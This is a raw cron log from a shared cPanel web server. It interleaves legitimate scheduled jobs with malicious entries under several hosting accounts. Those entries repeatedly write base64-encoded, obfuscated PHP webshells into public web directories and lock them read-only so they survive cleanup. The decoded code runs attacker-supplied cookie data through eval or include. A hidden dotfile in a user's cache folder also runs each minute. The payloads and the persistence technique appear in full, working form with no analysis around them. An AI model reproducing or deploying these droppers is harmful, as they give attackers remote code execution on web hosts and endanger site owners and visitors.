UpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:17:02 medusa CROND[1572]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 11:17:02 medusa CROND[1573]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:17:02 medusa CROND[1574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:17:02 medusa CROND[1575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:17:02 medusa CROND[1576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:17:02 medusa CROND[1581]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:17:02 medusa CROND[1588]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:17:02 medusa CROND[1602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:18:02 medusa CROND[19763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:18:02 medusa CROND[19764]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:18:02 medusa CROND[19767]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 11:18:02 medusa CROND[19768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:18:02 medusa CROND[19769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:18:02 medusa CROND[19775]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:18:02 medusa CROND[19773]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:18:02 medusa CROND[19782]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:18:02 medusa CROND[19781]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:18:02 medusa CROND[19786]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:18:02 medusa CROND[19785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:18:02 medusa CROND[19784]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:18:02 medusa CROND[19789]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:18:02 medusa CROND[19790]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:19:02 medusa CROND[3743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:19:02 medusa CROND[3744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:19:02 medusa CROND[3746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:19:02 medusa CROND[3749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:19:02 medusa CROND[3751]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:19:02 medusa CROND[3756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
